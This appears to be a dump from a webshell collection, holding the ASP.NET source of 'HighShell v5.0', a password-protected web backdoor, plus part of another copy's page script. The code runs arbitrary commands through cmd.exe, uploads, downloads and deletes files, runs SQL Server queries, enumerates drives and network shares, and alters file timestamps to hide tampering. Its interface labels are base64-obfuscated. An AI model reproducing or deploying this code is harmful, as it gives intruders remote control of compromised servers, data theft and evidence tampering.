if(document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n        {\r\n            loc.childNodes[1].innerText = \"\\\\\\\\\" + loc.childNodes[1].innerText;\r\n        }\r\n        loc.lastChild.style.display = \"inline-block\";\r\n        loc.lastChild.onclick = function(){};\r\n        loc.lastChild.className = \"objB\";\r\n    }\r\n\r\n    function addError(parent, error)\r\n    {\r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD objError\";\r\n        d.innerText = error;\r\n        parent.appendChild(d);\r\n    }\r\n\r\n    function addFolder(parent, dir)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n       \r\n        var d = document.createElement(\"div\");\r\n        d.className=\"objD\";\r\n        d.innerText = dir.name;\r\n        d.onclick = function(){setAddress(this.innerText);};\r\n\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS dir\";\r\n        if(sizeArray[getCurrentAddress()+\"\\\\\"+dir.name])\r\n            setSize(s,sizeArray[getCurrentAddress()+\"\\\\\"+dir.name]);\r\n        else if(dir.usize)\r\n            setSize(s,dir.usize);\r\n        else\r\n            s.innerText = \"...\";\r\n\r\n        s.style.cursor = \"pointer\";\r\n        s.onclick = function(){getSize(s,d.innerText);};\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(d);\r\n\r\n        if(dir.tsize)\r\n        {\r\n            var inf = document.createElement(\"div\");\r\n            inf.className=\"objD objInfo\";\r\n            inf.innerText = \"Total Size : \" + dir.tsize;\r\n            f.appendChild(inf);\r\n        }\r\n\r\n        if(dir.fsize)\r\n        {\r\n            var inf = document.createElement(\"div\");\r\n            inf.className=\"objD objInfo\";\r\n            inf.innerText = \"Free Space : \" + dir.fsize;\r\n            f.appendChild(inf);\r\n        }\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function addFile(parent, name, size)\r\n    {\r\n        var f = document.createElement(\"div\");\r\n        f.className=\"objF\";\r\n        var s = document.createElement(\"div\");\r\n        s.className=\"objS\";\r\n        setSize(s, size)\r\n        var n = document.createElement(\"div\");\r\n        n.className=\"objN\";\r\n        n.innerText=name;\r\n\r\n        f.appendChild(s);\r\n        f.appendChild(n);\r\n\r\n        parent.appendChild(f);\r\n    }\r\n\r\n    function getCurrentAddress()\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        return address.value;\r\n    }\r\n\r\n    function setAddress(name)\r\n    {\r\n        var address = document.getElementsByName(\"exadd\")[0];\r\n        if(address.value.endsWith(\"\\\\\"))\r\n            address.value = address.value.substring(0, address.value.length - 1);\r\n        var path = name;\r\n        if (path == 'root' || path.startsWith('\\\\\\\\'))\r\n            address.value = path;\r\n        else\r\n            address.value += \"\\\\\" + name;\r\n        sendAddress();\r\n    }\r\n\r\n    function getNextSize(alls)\r\n    {\r\n        if(alls.length > 0)\r\n        {\r\n            var s = alls[0];\r\n            alls.shift();\r\n            console.log(alls);\r\n            console.log(s);\r\n            getSize(s, s.nextSibling.innerText, function(){getNextSize(alls)});\r\n        }\r\n    }\r\n\r\n    function getAllSize()\r\n    {\r\n        var allSizes = [].slice.call(document.getElementsByClassName(\"objS dir\"));\r\n        getNextSize(allSizes);\r\n    }\r\n\r\n    function getSize(objSize, name, callBack)\r\n    {\r\n        objSize.innerText = \"\";\r\n        var ldr = document.createElement(\"span\");\r\n        ldr.className=\"loader sizeLD\";\r\n        objSize.appendChild(ldr);\r\n        var address = getCurrentAddress() + \"\\\\\" + name;\r\n        var info = {\r\n            data:\"gsize=\" + btoa(address),\r\n            onSuccess:function(resText){\r\n                \r\n                ldr.remove();\r\n                var data = atob(resText)\r\n                setSize(objSize, data)\r\n                if(!data.startsWith(\"Error\"))\r\n                    sizeArray[address] = data;\r\n\r\n                if(callBack)\r\n                    callBack();\r\n            }\r\n        };\r\n        sendData(info);\r\n    }\r\n\r\n    function checkEnter(ev)\r\n    {\r\n        if(ev.which == 13 || ev.keyCode == 13)\r\n        {\r\n            sendAddress();\r\n            return false;\r\n        }\r\n        return true;\r\n    }\r\n\r\n    function setSize(obj, size)\r\n    {\r\n        if(size.startsWith(\"Error\"))\r\n        {\r\n            obj.title = size;\r\n            obj.innerText = \"Error\";\r\n        }\r\n        else\r\n            obj.innerText = size;\r\n        if(size.endsWith(\"KB\"))\r\n            obj.style.backgroundColor = \"#ece979\";\r\n        else if(size.endsWith(\"MB\"))\r\n            obj.style.backgroundColor = \"#ffd36f\";\r\n        else if(size.endsWith(\"GB\"))\r\n            obj.style.backgroundColor = \"#ff6f6f\";\r\n    }\r\n\r\n    function sendData(info)\r\n    {\r\n        var data = info.data;\r\n        var xh = new XMLHttpRequest();\r\n        xh.onreadystatechange = function(){\r\n            if(this.readyState == 4 && this.status == 200)\r\n            {\r\n                info.onSuccess(this.responseText);\r\n            }\r\n        };\r\n        xh.open(\"POST\", location.pathname, true);\r\n        xh.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n        xh.send(\"p=\" + readCookie(\"p\") + \"&\" + data);\r\n    }\r\n</script>\r\n</head>\r\n<body>\r\n<div class=\"tbbt\">\r\n    <button class=\"tblnk active\" onclick=\"openTab(event, 'tbMain')\">Main</button>\r\n    <button class=\"tblnk\" onclick=\"openTab(event, 'tbDir')\">Explorer</button>\r\n</div>\r\n<div id=\"tbMain\" class=\"tb\" style=\"display:block\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"QWRkcmVzcw==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"Q3VycmVudA==\")%> :</t>\r\n<y id=\"d\"><%= Server.MapPath(string.Empty) + \"\\\\\"%></y>\r\n<input type=\"button\" value=\"<%=x(\"VXNl\")%>\" onclick=\"use()\" />\r\n<input type=\"button\" value=\"<%=x(\"UmVzZXQgRm9ybQ==\")%>\" onclick=\"reset()\" />\r\n<div style=\"float:right\">v5.0</div>\r\n</td>\r\n</tr>\r\n</table>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"TG9naW4=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RG8gaXQ=\")%> :</t>\r\n<input name=\"p\" class=\"mmm\" type=\"text\" style='background-color: <%= aut ? \"Green\" : \"Red\" %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RG8gaXQ=\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q29tbWFuZA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"UHJvY2Vzcw==\")%> :</t>\r\n<input name=\"pro\" class=\"mmm\" type=\"text\" value='<%= string.IsNullOrEmpty(pro) ? x(\"Y21kLmV4ZQ==\") : pro %>' /><br>\r\n<t><%=x(\"Q29tbWFuZA==\")%> :</t>\r\n<input name=\"cmd\" class=\"mmm\" type=\"text\" value='<%= cmd %>' />\r\n<input type=\"submit\" value=\"<%= x(\"RXhlY3V0ZQ==\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\" enctype=\"multipart/form-data\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"VXBsb2Fk\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"upl\" type=\"file\" /><br>\r\n<t><%=x(\"U2F2ZSBhcw==\")%> :</t>\r\n<input name=\"sav\" class=\"mmm\" type=\"text\" value='<%= sav %>' />\r\n<input name=\"vir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"TmV3IEZpbGUgbmFtZQ==\")%> :</t>\r\n<input name=\"nen\" class=\"mmm\" type=\"text\" value='<%= nen %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr>\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"RG93bmxvYWQ=\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"don\" type=\"text\" />\r\n<input type=\"submit\" value=\"<%= x(\"RG93bmxvYWQ=\") %>\" onclick=\"document.getElementsByName('don')[0].value = btoa(document.getElementsByName('don')[0].value);\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"VXBsb2FkIEJhc2U2NA==\")%></td>\r\n<td class=\"b\">\r\n<t><%=x(\"QmFzZTY0IEZpbGU=\")%> :</t>\r\n<textarea name=\"baseFile\"></textarea>\r\n<input name=\"baseVir\" type=\"checkbox\" /><g><%=x(\"SXMgdmlydHVhbCBwYXRo\")%></g><br>\r\n<t><%=x(\"RmlsZSBQYXRoIGFuZCBOYW1l \")%> :</t>\r\n<input name=\"baseAddr\" class=\"mmm\" type=\"text\" value='<%= baseAddr %>' />\r\n<input type=\"submit\" value=\"<%= x(\"VXBsb2Fk\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"U3FsIFNlcnZlcg==\")%></td>\r\n<td class=\"b\">\r\n<input style=\"margin:0 0 3px 192px\" type=\"button\" value=\"<%=x(\"U3RhbmRhcmQgQ29ubmVjdGlvbiBTYW1wbGU=\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VXNlciBJZD11c2VyO1Bhc3N3b3JkPXBhc3M=\")%>    '\" />\r\n<input style=\"margin:0 0 3px 0\" type=\"button\" value=\"<%=x(\"VHJ1c3RlZCBDb25uZWN0aW4gU2FtcGxl\")%>\" onclick=\"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VHJ1c3RlZF9Db25uZWN0aW9uPVRydWU=\")%>    '\" /><br />\r\n<t><%=x(\"Q29ubmVjdGlvbiBTdHJpbmc=\")%> :</t>\r\n<input name=\"sqc\" class=\"mmm\" type=\"text\" value='<%= sqc %>' /><br />\r\n<t><%=x(\"UXVlcnk=\")%> :</t>\r\n<textarea name=\"sqq\" class=\"mmm\"><%= sqq %></textarea>\r\n<input type=\"submit\" value=\"<%= x(\"UnVu\") %>\" onclick=\"subm();\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<form method=\"post\">\r\n<table>\r\n<tr>\r\n<td class=\"h\"><%=x(\"Q2hhbmdlIENyZWF0aW9uIFRpbWU=\")%></td>\r\n<td class=\"b\">\r\n<input name=\"hid\" type=\"hidden\" />\r\n<t><%=x(\"RmlsZSBuYW1l\")%> :</t>\r\n<input name=\"tfil\" class=\"mmm\" type=\"text\" value='<%= tfil %>' />\r\n<input type=\"submit\" value=\"<%= x(\"R2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '1'\" /><br>\r\n<t><%=x(\"RnJvbSBUaGlzIEZpbGU=\")%> :</t>\r\n<input name=\"ttar\" class=\"mmm\" type=\"text\" value='<%= ttar %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '2'\" /><br>\r\n<t><%=x(\"TmV3IFRpbWU=\")%> :</t>\r\n<input name=\"ttim\" class=\"mmm\" type=\"text\" value='<%= ttim %>' />\r\n<input type=\"submit\" value=\"<%= x(\"U2V0\") %>\" onclick=\"subm(); document.getElementsByName('hid')[0].value = '3'\" />\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n<hr />\r\n<br />\r\n<pre id=\"log\" runat=\"server\"></pre>\r\n<script>var ll=document.getElementById('log');if(ll.innerHTML)ll.innerHTML=atob(log.innerHTML);</script>\r\n</div>\r\n<div id=\"tbDir\" class=\"tb\">\r\n    <table>\r\n    <tr>\r\n    <td class=\"h\">Explorer</td>\r\n    <td class=\"b\">\r\n    <t>Address :</t>\r\n    <input name=\"exadd\" class=\"mmm\" type=\"text\" value='<%= exadd %>' onkeypress=\"return checkEnter(event);\" />\r\n    <input type=\"submit\" value=\"Explore\" onclick=\"sendAddress();\" style=\"margin-right:5px;\" />\r\n    <span id=\"loader\" class=\"loader\" style=\"display:none\"></span>\r\n    </td>\r\n    </tr>\r\n    </table>\r\n    <hr />\r\n    <div id=\"objLocation\">\r\n        <div class=\"objS\">Location :</div><div class=\"objD objL\" onclick=\"setAddress(this.innerText);\">root</div>\r\n    </div>\r\n    <div id=\"objFrame\">\r\n    </div>\r\n</div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/StableVersion/HighShell v5.0/HyperShell/StableVersion/HighShell v5.0/HighShell.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n    <\r\n    html xmlns = \"http://www.w3.org/1999/xhtml\" >\r\n    <\r\n    head >\r\n    <%\r\n\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\np=fb(t[\"p\"]);pro=fb(t[\"pro\"]);cmd=fb(t[\"cmd\"]);sav=fb(t[\"sav\"]);vir=t[\"vir\"];nen=fb(t[\"nen\"]);upb=fb(t[\"upb\"]);upd=fb(t[\"upd\"]);del=fb(t[\"del\"]);don=fb(t[\"don\"]);hid=t[\"hid\"];tfil=fb(t[\"tfil\"]);ttar=fb(t[\"ttar\"]);ttim=fb(t[\"ttim\"]);baseFile=t[\"baseFile\"];baseAddr=fb(t[\"baseAddr\"]);baseVir=t[\"baseVir\"];sqc=fb(t[\"sqc\"]);sqq=fb(t[\"sqq\"]);exadd=fb(t[\"exadd\"]);\r\nif(!string.IsNullOrEmpty(p))c(p);\r\nelse c();\r\nif(!string.IsNullOrEmpty(cmd))r(pro,cmd);\r\nelse if(HttpContext.Current.Request.Files[\"upl\"]!=null)u(HttpContext.Current.Request.Files[\"upl\"],sav,string.IsNullOrEmpty(vir)?false:true,nen);\r\nelse if(!string.IsNullOrEmpty(upb))h(upb,upd);\r\nelse if(!string.IsNullOrEmpty(del))d(del);\r\nelse if(!string.IsNullOrEmpty(don))z(don);\r\nelse if(!string.IsNullOrEmpty(tfil))g(hid,tfil,ttar,ttim);\r\nelse if(!string.IsNullOrEmpty(baseFile))baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\nelse if(!string.IsNullOrEmpty(sqc))sq(sqc,sqq);\r\nelse if(!string.IsNullOrEmpty(exadd))exp(exadd);\r\nelse if(!string.IsNullOrEmpty(t[\"gsize\"]))gsize(fb(t[\"gsize\"]));\r\n\r\nif(HttpContext.Current.Request.Cookies[\"data\"]!=null){string data=fb(HttpContext.Current.Request.Cookies[\"data\"].Value);string[] data2=data.Split(new string[]{\"#|#\"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{\"#=#\"},StringSplitOptions.None);\r\nswitch (data3[0]){\r\ncase\"pro\":pro=a(pro,fb(data3[1]));break;\r\ncase\"cmd\":cmd=a(cmd,fb(data3[1]));break;\r\ncase\"sav\":sav=a(sav,fb(data3[1]));break;\r\ncase\"vir\":vir=a(vir,fb(data3[1]));break;\r\ncase\"nen\":nen=a(nen,fb(data3[1]));break;\r\ncase\"don\":don=a(don,fb(data3[1]));break;\r\ncase\"tfil\":tfil=a(tfil,fb(data3[1]));break;\r\ncase\"ttar\":ttar=a(ttar,fb(data3[1]));break;\r\ncase\"ttim\":ttim=a(ttim,fb(data3[1]));break;\r\ncase\"sqc\":sqc=a(sqc,fb(data3[1]));break;\r\ncase\"sqq\":sqq=a(sqq,fb(data3[1]));break;\r\ncase\"exadd\":exadd=a(exadd,fb(data3[1]));break;\r\n}}}\r\n\r\nview();\r\n    %> <\r\n    script runat = \"server\" >\r\n    string salt = \"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\nstring p, pro, cmd, sav, vir, nen, upb, upd, del, don, hid, tfil, ttar, ttim, baseFile, baseAddr, baseVir, baseName, sqc, sqq, exadd;\r\nbool aut = false;\r\nstring pp = \"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\nstring a(string a, string b) {\r\n    return string.IsNullOrEmpty(a) ? b : a;\r\n}\r\nstring tb(string a) {\r\n    string ret = \"\";\r\n    try {\r\n        ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a));\r\n    } catch {}\r\n    return ret;\r\n}\r\nstring fb(string a) {\r\n    string ret = \"\";\r\n    try {\r\n        ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a));\r\n    } catch {}\r\n    return ret;\r\n}\r\nvoid view() {\r\n    string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}\",\r\n        tb(pro), tb(cmd), tb(sav), tb(vir), tb(nen), tb(don), tb(tfil), tb(ttar), tb(ttim), tb(sqc), tb(sqq), tb(exadd));\r\n    HttpCookie coo = new HttpCookie(\"data\", data);\r\n    coo.Expires = DateTime.Now.AddDays(1);\r\n    HttpContext.Current.Response.SetCookie(coo);\r\n}\r\n\r\nvoid rm() {\r\n    /*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/ }\r\nvoid c(string p) {\r\n    try {\r\n        HttpCookie coo = new HttpCookie(\"p\", tb(p));\r\n        coo.Expires = DateTime.Now.AddDays(1);\r\n        HttpContext.Current.Response.SetCookie(coo);\r\n        c();\r\n    } catch (Exception e) {\r\n        l(e.Message);\r\n    }\r\n}\r\nbool c() {\r\n    try {\r\n        if (HttpContext.Current.Request.Cookies[\"p\"] != null) {\r\n            aut = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(fb(HttpContext.Current.Request.Cookies[\"p\"].Value) + salt))) == pp;\r\n            if (!aut) rm();\r\n            return aut;\r\n        }\r\n    } catch (Exception e) {\r\n        l(e.Message);\r\n    }\r\n    rm();\r\n    return false;\r\n}\r\nvoid u(HttpPostedFile upl, string sav, bool vir, string nen) {\r\n    try {\r\n        if (c()) {\r\n            if (upl != null && upl.ContentLength > 0) {\r\n                string fn = string.IsNullOrEmpty(nen) ? System.IO.Path.GetFileName(upl.FileName) : nen;\r\n                string path = vir ? Server.MapPath(sav) : sav;\r\n                string SaveLocation = System.IO.Path.HasExtension(path) ? path : path.TrimEnd('\\\\') + \"\\\\\" + fn;\r\n                upl.SaveAs(SaveLocation);\r\n                l(\"File uploaded successfuly : \" + SaveLocation);\r\n            }\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nvoid baseupl(string baseFile, string baseAddr, bool baseVir) {\r\n    try {\r\n        if (c()) {\r\n            if (baseFile != null && baseFile.Length > 0 && !string.IsNullOrEmpty(baseAddr)) {\r\n                string SaveLocation = baseVir ? Server.MapPath(baseAddr) : baseAddr;\r\n                System.IO.File.WriteAllBytes(SaveLocation, Convert.FromBase64String(baseFile));\r\n                l(\"File uploaded successfuly : \" + SaveLocation);\r\n            }\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nvoid r(string pro, string cmd) {\r\n    try {\r\n        if (c()) {\r\n            string o = exec(cmd, pro);\r\n            l(HttpUtility.HtmlEncode(o));\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nvoid z(string don) {\r\n    try {\r\n        if (c() && !string.IsNullOrEmpty(don)) {\r\n            byte[] f = System.IO.File.ReadAllBytes(don);\r\n            System.Web.HttpContext t = System.Web.HttpContext.Current;\r\n            t.Response.Clear();\r\n            t.Response.ClearHeaders();\r\n            t.Response.ClearContent();\r\n            t.Response.AppendHeader(\"content-length\", f.Length.ToString());\r\n            t.Response.ContentType = \"application/octet-stream\";\r\n            t.Response.AppendHeader(\"content-disposition\", \"attachment; filename=\" + don.Substring(don.LastIndexOf('\\\\') + 1));\r\n            t.Response.BinaryWrite(f);\r\n            t.Response.End();\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nstring ti(string tt) {\r\n    return \"Creation Time :\\t\\t\" + System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\") + \"<br>Last Access Time :\\t\" + System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\") + \"<br>Last Write Time :\\t\" + System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");\r\n}\r\nvoid g(string hid, string tfil, string ttar, string ttim) {\r\n    try {\r\n        if (c() && !string.IsNullOrEmpty(tfil)) {\r\n            l(string.Empty);\r\n            if (hid == \"1\") ti(tfil);\r\n            else if (hid == \"2\") {\r\n                if (!string.IsNullOrEmpty(ttar)) {\r\n                    System.IO.File.SetCreationTime(tfil, System.IO.File.GetCreationTime(ttar));\r\n                    System.IO.File.SetLastAccessTime(tfil, System.IO.File.GetLastAccessTime(ttar));\r\n                    System.IO.File.SetLastWriteTime(tfil, System.IO.File.GetLastWriteTime(ttar));\r\n                    l(\"Time successfuly changed :<br>\" + tfil + \"<br>\" + ti(tfil));\r\n                }\r\n            } else if (hid == \"3\") {\r\n                if (!string.IsNullOrEmpty(ttim)) {\r\n                    DateTime te = DateTime.Parse(ttim);\r\n                    System.IO.File.SetCreationTime(tfil, te);\r\n                    System.IO.File.SetLastAccessTime(tfil, te);\r\n                    System.IO.File.SetLastWriteTime(tfil, te);\r\n                    l(\"Time successfuly changed :<br>\" + tfil + \"<br>\" + ti(tfil));\r\n                }\r\n            }\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nvoid h(string upb, string upd) {\r\n    try {\r\n        if (c() && !string.IsNullOrEmpty(upb) && !string.IsNullOrEmpty(upd)) {\r\n            System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath() + upd, Convert.FromBase64String(upb));\r\n            l(upd + \" successfuly uploaded\");\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nvoid d(string del) {\r\n    try {\r\n        if (c() && !string.IsNullOrEmpty(del)) {\r\n            System.IO.File.Delete(System.IO.Path.GetTempPath() + del);\r\n            l(del + \" successfuly deleled\");\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nvoid sq(string sqc, string sqq) {\r\n    try {\r\n        if (c()) {\r\n            if (!string.IsNullOrEmpty(sqc)) {\r\n                using(System.Data.SqlClient.SqlConnection con = new System.Data.SqlClient.SqlConnection(sqc)) {\r\n                    if (string.IsNullOrEmpty(sqq)) {\r\n                        try {\r\n                            con.Open();\r\n                            l(\"Sql Server Connection Successfuly Established\");\r\n                        } catch (Exception ex) {\r\n                            l(\"Sql Server Connection Failed :\" + Environment.NewLine + ex.ToString());\r\n                        }\r\n                    } else {\r\n                        try {\r\n                            con.Open();\r\n                            System.Data.SqlClient.SqlCommand com = new System.Data.SqlClient.SqlCommand(sqq, con);\r\n                            System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter(com);\r\n                            System.Data.DataTable dt = new System.Data.DataTable();\r\n                            ad.Fill(dt);\r\n                            DataGrid grid = new DataGrid();\r\n                            System.Web.UI.WebControls.DataList list = new System.Web.UI.WebControls.DataList();\r\n                            grid.DataSource = dt;\r\n                            grid.DataBind();\r\n                            log.Controls.Add(grid);\r\n                        } catch (Exception ex) {\r\n                            l(\"Error : <br>\" + ex.ToString());\r\n                        }\r\n                    }\r\n                    con.Close();\r\n                }\r\n            }\r\n        }\r\n    } catch (Exception ex) {\r\n        l(ex.Message);\r\n    }\r\n}\r\nstring x(string f) {\r\n    return Encoding.UTF8.GetString(Convert.FromBase64String(f));\r\n}\r\nvoid l(string ll) {\r\n    log.InnerHtml = tb(ll);\r\n}\r\n\r\nstring exec(string cmd, string pro = \"\") {\r\n    System.Diagnostics.Process n = new System.Diagnostics.Process();\r\n    n.StartInfo.FileName = (string.IsNullOrEmpty(pro) ? \"cmd.exe\" : pro);\r\n    n.StartInfo.UseShellExecute = false;\r\n    n.StartInfo.RedirectStandardInput = true;\r\n    n.StartInfo.RedirectStandardOutput = true;\r\n    n.StartInfo.RedirectStandardError = true;\r\n    n.StartInfo.CreateNoWindow = true;\r\n    string o = null;\r\n    n.Start();\r\n    n.StandardInput.WriteLine(cmd);\r\n    n.StandardInput.WriteLine(\"exit\");\r\n    o = n.StandardOutput.ReadToEnd();\r\n    n.WaitForExit();\r\n    n.Close();\r\n    return o;\r\n}\r\n\r\nvoid gsize(string addr) {\r\n    string ret = \"error : -\";\r\n    try {\r\n        long size = GetDirSize(new DirectoryInfo(addr));\r\n        ret = sizeFix(size);\r\n    } catch (Exception ex) {\r\n        ret = \"Error : \" + ex.Message;\r\n    }\r\n\r\n    Response.Clear();\r\n    Response.Write(tb(ret));\r\n    Response.End();\r\n}\r\n\r\nvoid exp(string exadd) {\r\n    string ret = \"error : -\";\r\n    try {\r\n        if (exadd.ToLower() == \"root\") {\r\n            ret = \"{\\\"dir\\\":[\\\"\\\\\\\\\\\\\\\\localhost\\\"\"; // in javascript json parser two \\ = one \\\r\n            string netUse = exec(\"net use\");\r\n            string[] lines = netUse.Split(new string[] {\r\n                Environment.NewLine\r\n            }, StringSplitOptions.RemoveEmptyEntries);\r\n            foreach(string item in lines) {\r\n                if (item.ToLower().StartsWith(\"ok\")) {\r\n                    int index = item.IndexOf(\"\\\\\\\\\");\r\n                    ret += \",\\\"\\\\\\\\\" + item.Substring(index, item.IndexOf('\\\\', index + 2) - index) + \"\\\"\";\r\n                }\r\n            }\r\n            ret += \"]}\";\r\n        } else {\r\n            if (exadd.Trim('\\\\').Split('\\\\').Count() == 1) // \\\\localhost\r\n            {\r\n                string tmp = exadd.ToLower().TrimEnd('\\\\');\r\n                if (tmp == \"\\\\\\\\localhost\") {\r\n                    ret = \"{\\\"dir\\\":[\";\r\n                    bool isStart = false;\r\n                    foreach(DriveInfo item in DriveInfo.GetDrives()) {\r\n                        if (item.IsReady) {\r\n                            if (isStart)\r\n                                ret += \",\";\r\n                            ret += \"\\\"\" + item.Name.TrimEnd('\\\\').TrimEnd(':') + \"$\\\"\";\r\n                            isStart = true;\r\n                        }\r\n                    }\r\n                    ret += \"]}\";\r\n                } else {\r\n\r\n                }\r\n            } else // \\\\localhost\\c$\\\r\n            {\r\n                FileAttributes attr = File.GetAttributes(exadd);\r\n                if ((attr & FileAttributes.Directory) == FileAttributes.Directory) {\r\n                    DirectoryInfo dirInfo = new DirectoryInfo(exadd);\r\n                    ret = \"{\" + string.Format(\"{0},{1}\", createJsonDirectory(dirInfo.GetDirectories()), createJsonFile(dirInfo.GetFiles())) + \"}\";\r\n                }\r\n            }\r\n        }\r\n    } catch (Exception ex) {\r\n        ret = \"Error : \" + ex.Message;\r\n    }\r\n    Response.Clear();\r\n    Response.Write(tb(ret));\r\n    Response.End();\r\n}\r\nlong GetDirSize(DirectoryInfo d) {\r\n    long size = 0;\r\n\r\n    FileInfo[] fis = d.GetFiles();\r\n    foreach(FileInfo fi in fis) {\r\n        size += fi.Length;\r\n    }\r\n\r\n    DirectoryInfo[] dis = d.GetDirectories();\r\n    foreach(DirectoryInfo di in dis) {\r\n        size += GetDirSize(di);\r\n    }\r\n\r\n    return size;\r\n}\r\nstring createJsonDirectory(DirectoryInfo[] dir) {\r\n    string json = \"\\\"dir\\\":[\";\r\n    for (int i = 0; i < dir.Length; i++) {\r\n        if (i > 0)\r\n            json += \",\";\r\n        json += \"\\\"\" + dir[i].Name + \"\\\"\";\r\n    }\r\n    json += \"]\";\r\n    return json;\r\n}\r\nstring createJsonFile(FileInfo[] file) {\r\n    string json = \"\\\"file\\\":[\";\r\n    for (int i = 0; i < file.Length; i++) {\r\n        if (i > 0)\r\n            json += \",\";\r\n        json += \"[\\\"\" + file[i].Name + \"\\\",\\\"\" + sizeFix(file[i].Length) + \"\\\"]\";\r\n    }\r\n    json += \"]\";\r\n    return json;\r\n}\r\nstring sizeFix(long size) {\r\n        double s = size;\r\n        if (s < 1024) return s + \" B\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" KB\";\r\n        s = s / 1024;\r\n        if (s < 1024) return Math.Round(s, 2) + \" MB\";\r\n        s = s / 1024;\r\n        return Math.Round(s, 2) + \" GB\";\r\n    } <\r\n    /script>\r\n\r\n    <\r\n    style > body, html {\r\n        margin: 0;padding: 5 px;direction: ltr;background: #aaa;color: #000 !important;}form{margin:0;}*{font:14px \"Lucida Console\";}t{width:180px;display:inline-block;text-align:right;padding-right:5px;}g{margin-left:30px;}input[type= \"text\"], input[type = \"file\"], textarea {\r\n        width: 60 % ;height: 25 px;background: #cbcbcb;color: #000;border:1px solid # 999;margin - bottom: 3 px;\r\n    }\r\ninput[type = \"text\"] {\r\n    padding: 2 px;\r\n}\r\ninput[type = \"button\"], input[type = \"submit\"] 